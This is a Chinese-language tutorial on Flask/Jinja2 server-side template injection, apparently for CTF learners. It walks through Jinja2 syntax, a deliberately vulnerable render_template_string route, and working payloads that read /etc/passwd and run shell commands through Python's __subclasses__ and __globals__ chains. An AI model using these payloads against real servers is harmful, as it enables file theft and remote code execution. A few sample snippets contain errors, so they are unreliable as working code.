先入個門
個人感覺學SSTI注入之前,最好先學習一下python的沙盒繞過,兩個利用的地方比較類似。
Jimja2
Jinja2是默認的仿Django模板的一個模板引擎,由Flask的作者開發。網上搜的語法2333,方便自己回顧
模板
{{ ... }}:裝載一個變量,模板渲染的時候,會使用傳進來的同名參數這個變量代表的值替換掉。
{% ... %}:裝載一個控制語句,if、for等語句。
{# ... #}:裝載一個註釋,模板渲染的時候會忽視這中間的值
變量
在模板中添加變量,可以使用 set 語句。
{% set name='xx' %}
with
語句來創建一個內部的作用域,將set語句放在其中,這樣創建的變量只在with代碼塊中才有效
{% with gg = 42 %}
{{ gg }}
{% endwith %}
if語句
{% if ken.sick %}
Ken is sick.
{% elif ken.dead %}
You killed Ken! You bastard!!!
{% else %}
Kenny looks okay --- so far
{% endif %}
for語句
{% for user in users %}
{{ user.username|e }}
{% endfor %}
遍歷
{% for key, value in <strong>my_dict.iteritems()</strong> %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
flask基礎
Flask是一個使用 Python 編寫的輕量級 Web 應用框架。在學習SSTI之前,先把flask的運作流程搞明白。這樣有利用更快速的理解原理。
route裝飾器路由
@app.route('/')
使用 route() 裝飾器告訴 Flask 什麼樣的URL能觸發我們的函數。route() 裝飾器把一個函數綁定到對應的URL上,這句話相當於路由,一個路由跟隨一個函數,如
@app.route('/')
def test()"
return 123
訪問127.0.0.1:5000/則會輸出123。再如:
from flask import flask
@app.route('/index/')
def hello_word():
return 'hello word'
route裝飾器的作用是將函數與url綁定起來。例子中的代碼的作用就是當你訪問http://127.0.0.1:5000/index的時候,flask會返回hello word。
此外還可以設置動態網址:
@app.route("/hello/<username>")
def hello_user(username):
return "user:%s"%username
根據url裏的輸入,動態辨別身份,此時便可以看到如下頁面:
模板渲染方法(重點)
flask的渲染方法有render_template和render_template_string兩種,你需要做的一切就是將模板名和你想作爲關鍵字的參數傳入模板的變量(需要我們渲染參數)。
**render_template()**是用來渲染一個指定的文件的。使用如下:
return render_template(‘index.html’)
render_template_string則是用來渲染一個字符串的。SSTI與這個方法密不可分。
使用方法如下
html = '<h1>This is index page</h1>'
return render_template_string(html)
簡單的模版渲染示例:
from flask import render_template
@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
return render_template('hello.html', name=name)
我們hello.html模板未創建所以這段代碼暫時供觀賞,不妨往下繼續看
首先要搞清楚,模板渲染體系,render_template函數渲染的是templates中的模板,所謂模板是我們自己寫的html,裏面的參數需要我們根據每個用戶的需求傳入動態變量。
├── app.py
├── static
│ └── style.css
└── templates
└── index.html
我們寫一個index.html文件到templates文件夾中:
<html>
<head>
<title>{{title}} - 小豬佩奇</title>
</head>
<body>
<h1>Hello, {{user.name}}!</h1>
</body>
</html>
裏面有兩個參數需要我們渲染,user.name,以及title
我們在app.py文件裏進行渲染。
@app.route('/')
@app.route('/index') # 我們訪問/或者/index都會跳轉
def index():
user = {'name': '小豬佩奇'} # 傳入一個字典數組
return render_template("index.html",title='Home',user=user)
以上這次渲染我們沒有使用用戶可控,所以是安全的,如果我們交給用戶可控並且不過濾參數就有可能造成SSTI模板注入漏洞。
模板
flask是使用Jinja2來作爲渲染引擎的。看例子:
在網站的根目錄下新建templates文件夾,這裏是用來存放html文件。也就是模板文件。
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
return render_template('index.html')
/templates/index.html
<h1>This is index page</h1>
訪問127.0.0.1:5000/index/
的時候,flask就會渲染出index.html的頁面。
模板文件並不是單純的html代碼,而是夾雜着模板的語法,因爲頁面不可能都是一個樣子的,有一些地方是會變化的。比如說顯示用戶名的地方,這個時候就需要使用模板支持的語法,來傳參。
例子
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
return render_template('index.html',content='This is index page.')
/templates/index.html
<h1>{{content}}</h1>
這個時候頁面仍然輸出This is index page。
{{}}在Jinja2中作爲變量包裹標識符。
模板引擎
首先我們先講解下什麼是模板引擎,爲什麼需要模板,模板引擎可以讓(網站)程序實現 界面 與 數據 分離,業務代碼 與 邏輯代碼 的分離,這大大提升了開發效率,良好的設計也使得代碼重用變得更加容易。但是往往新的開發都會導致一些安全問題,雖然 模板引擎會提供沙箱機制,但同樣存在沙箱逃逸技術來繞過。
模板只是一種提供給程序來解析的一種語法,換句話說,模板是用於從數據(變量)到實際的 視覺表現(HTML代碼)這項工作的一種 實現手段,而這種手段不論在前端還是後端都有應用。
通俗點理解:拿到數據,塞到模板裏,然後讓渲染引擎將賽進去的東西生成 html 的文本,返回給瀏覽器,這樣做的好處是展示數據快,大大提升效率。
後端渲染:瀏覽器會直接接收到經過服務器計算之後的呈現給用戶的最終的HTML字符串,計算就是服務器後端經過解析服務器端的模板來完成的,後端渲染的好處是對前端瀏覽器的壓力較小,主要任務在服務器端就已經完成。
前端渲染:前端渲染相反,是瀏覽器從服務器得到信息,可能是json等數據包封裝的數據,也可能是html代碼,他都是由瀏覽器前端來 解析渲染成html的人們可視化的代碼 而呈現在用戶面前,好處是對於服務器後端壓力較小,主要渲染在用戶的客戶端完成。
讓我們用例子來簡析模板渲染:
<html>
<div>{$what}</div>
</html>
我們想要呈現在每個用戶面前其自己的名字。但是{$what}我們不知道用戶名字是什麼,用一些url或者cookie包含的信息,渲染到what變量裏,呈現給用戶的爲
<html>
<div>張三</div>
</html>
通過模板,我們可以通過輸入轉換成特定的HTML文件,比如一些博客頁面,登陸的時候可能會返回 hi,張三
。這個時候張三可能就是通過你的身份信息而渲染成 html 返回到頁面。
模板注入
漏洞成因
ssti服務端模板注入,ssti主要爲python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函數時,由於代碼不規範或信任了用戶輸入而導致了服務端模板注入,模板渲染其實並沒有漏洞,主要是程序員對代碼不規範不嚴謹造成了模板注入漏洞,造成了模板可控。本文着重對flask模板注入進行淺析。
不正確的使用flask中的render_template_string方法會引發SSTI。那麼是什麼不正確的代碼呢?
xss利用
存在漏洞的代碼
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
這段代碼存在漏洞的原因是數據和代碼的混淆。代碼中的code是用戶可控的,會和html拼接後直接帶入渲染。
嘗試構造code爲一串js代碼。
將代碼改爲如下
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)
繼續嘗試
可以看到,js代碼被原樣輸出了。這是因爲模板引擎一般都默認對渲染的 變量值 進行編碼轉義,這樣就不會存在xss了。在這段代碼中用戶所控的是code變量,而不是模板內容。存在漏洞的代碼中,模板內容直接受用戶控制的。
模板注入並不侷限於xss,它還可以進行其他攻擊。
SSTI文件讀取/命令執行
基礎知識
在Jinja2模板引擎中,{{}}是變量包裹標識符。{{}}並不僅僅可以傳遞變量,還可以執行一些簡單的表達式。只需要記兩種特殊符號:
{{ }} 和 {% %}
變量相關的用{{}},邏輯相關的用{%%}。
這裏還是用上文中存在漏洞的代碼
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
構造參數{{2*4}},結果如下
可以看到表達式被執行了,說明ssti漏洞可以利用
在flask中也有一些全局變量。
文件讀取
看了師傅們的文章,是通過python的對象的繼承來一步步實現文件讀取和命令執行的的。順着師傅們的思路,再理一遍。
找到父類<type ‘object’>–>尋找子類–>找關於命令執行或者文件操作的模塊。
幾個魔術方法
__class__ 返回類型所屬的對象
__mro__ 返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__ 返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的
// 在python中,每個類都有一個bases屬性,列出其基類
__subclasses__ 每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__ 類的初始化方法
__globals__ 對包含函數全局變量的字典的引用
1 、獲取字符串的類對象
>>> ''.__class__
<type 'str'>
2 、尋找基類。(在python中,object類是Python中所有類的基類,如果定義一個類時沒有指定繼承哪個類,則默認繼承object類。)
>>> "".__class__.__bases__
(<class 'object'>,)
而我們想要尋找object類的不僅僅只有bases,同樣可以使用mro,mro給出了method resolution order,即解析方法調用的順序。我們實例打印一下mro:
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
可以看到同樣可以找到object類,正是由於這些但不僅限於這些方法,我們纔有了各種沙箱逃逸的姿勢。在flask ssti中poc中很大一部分是從object類中尋找我們可利用的類的方法。
3 、尋找可用引用(返回列表,即object類下的方法)
>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
可以看到有一個`<type 'file'>`,索引爲40。
這裏要記住一點2.7和3.6版本返回的子類不是一樣的,但是2.7有的3.6大部分都有。
接下來就是我們需要找到合適的類,然後從合適的類中尋找我們需要的方法。通過我們在如上這麼多類中一個一個查找,找到我們可利用的類,這裏舉例一種。<type ‘file’>,我們正是要從這個類中尋找我們可利用的方法,通過大概猜測找到是第41個類,0也對應一個類,所以這裏寫[40]。
4 、利用file類:
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
放到模板裏
可以看到讀取到了文件。
上面鏈接的文章裏面使用file類去進行對文件的讀寫操作,payload: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
,但是file方法在py3中已經不支持,只要找到可以執行代碼的函數或者其他讀文件的函數都可以,在vulhub上找到的另外一個適合py3的,利用了eval函數去實現RCE的功能,因爲執行語句去實現的,所以得用%括住。方法不止一種,找到對的繼承鏈就可以。
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
成功讀取根目錄下的文件
命令執行
繼續看命令執行payload的構造,思路和構造文件讀取的一樣。
尋找包含os模塊的腳本
#!/usr/bin/env python
# encoding: utf-8
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1
輸出
-
71 <class 'site._Printer'>
-
-
-
-
76 <class 'site.Quitter'>
payload
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
執行的結果無法直接看到
構造paylaod的思路和構造文件讀取的是一樣的。只不過命令執行的結果無法直接看到,需要利用curl將結果發送到自己的vps或者利用ceye
實戰方面
此時我們環境已經搭建好了,可以進行更深一步的講解了,以上好像我們講解使用了php 代碼爲啥題目是flask呢,沒關係我們現在進入重點!!!–》》flask/jinja2模版注入
Flask是一個使用Python編寫的輕量級web應用框架,其WSGI工具箱採用Werkzeug,模板引擎則使用Jinja2。這裏我們提前給出漏洞代碼。訪問 http://127.0.0.1:5000/test 即可
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
flask漏洞成因:
爲什麼說我們上面的代碼會有漏洞呢,其實對於代碼功底比較深的師傅,是不會存在ssti漏洞的,被一些偷懶的師傅簡化了代碼,所以造成了ssti。上面的代碼我們本可以寫成類似如下的形式。
<html>
<head>
<title>{{title}} - 小豬佩奇</title>
</head>
<body>
<h1>Hello, {{user.name}}!</h1>
</body>
</html>
裏面有兩個參數需要我們渲染,user.name,以及title
我們在app.py文件裏進行渲染。
@app.route('/')
@app.route('/index') # 我們訪問/或者/index都會跳轉
def index():
return render_template("index.html", title='Home',user=request.args.get("key"))
也就是說,兩種代碼的形式是:一種當字符串來渲染並且使用了%(request.url),另一種規範使用index.html 渲染文件。我們漏洞代碼使用了render_template_string函數,而如果我們使用render_template函數,將變量傳入進去,現在即使我們寫成了request,我們可以在url裏寫自己想要的惡意代碼{{}}你將會發現如下:
即使username可控了,但是代碼已經並不生效,並不是你錯了,是代碼對了。這裏問題出在,良好的代碼規範,使得模板其實已經固定了,已經被render_template渲染了。這是因爲模板引擎一般都默認對渲染的 變量值 進行編碼轉義,這樣就不會存在漏洞了。在這段代碼中用戶所控的是user變量,而不是模板內容。存在漏洞的代碼中,模板內容直接受用戶控制的。你的模板渲染其實已經不可控了。而漏洞代碼的問題出在這裏:
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
**注意%(request.url),程序員有時因爲省事並不會專門寫一個html文件,而是直接當字符串來渲染。並且request.url是可控的,這也正是flask在CTF中經常使用的手段,報錯404,返回當前錯誤url,通常CTF的flask如果是ssti,那麼八九不離十就是基於這段代碼,多的就是一些過濾和一些奇奇怪怪的方法函數。**現在你已經明白了flask的ssti成因以及代碼了。接下來我們來說說實戰方面。
對於一些師傅可能更偏向於實戰,但是不幸的是實戰中幾乎不會出現ssti模板注入,或者說很少,大多出現在python 的ctf中。但是我們還是理性分析下。
每一個模板引擎都有着自己的語法,Payload 的構造需要針對各類模板引擎制定其不同的掃描規則,就如同 SQL 注入中有着不同的數據庫類型一樣。更改請求參數使之承載含有模板引擎語法的 Payload,通過頁面渲染返回的內容檢測承載的 Payload 是否有得到編譯解析,不同的引擎不同的解析。所以我們在挖掘之前有必要對網站的web框架進行檢查,否則很多時候{{}}並沒有用,導致錯誤判斷。
接下來附張圖,實戰中要測試重點是看一些url的可控,比如url輸入什麼就輸出什麼。 前期收集好網站的開發語言以及框架,防止錯誤利用{{}}而導致錯誤判斷。如下圖較全的反映了ssti的一些模板渲染引擎及利用。
參考:https://www.freebuf.com/column/187845.html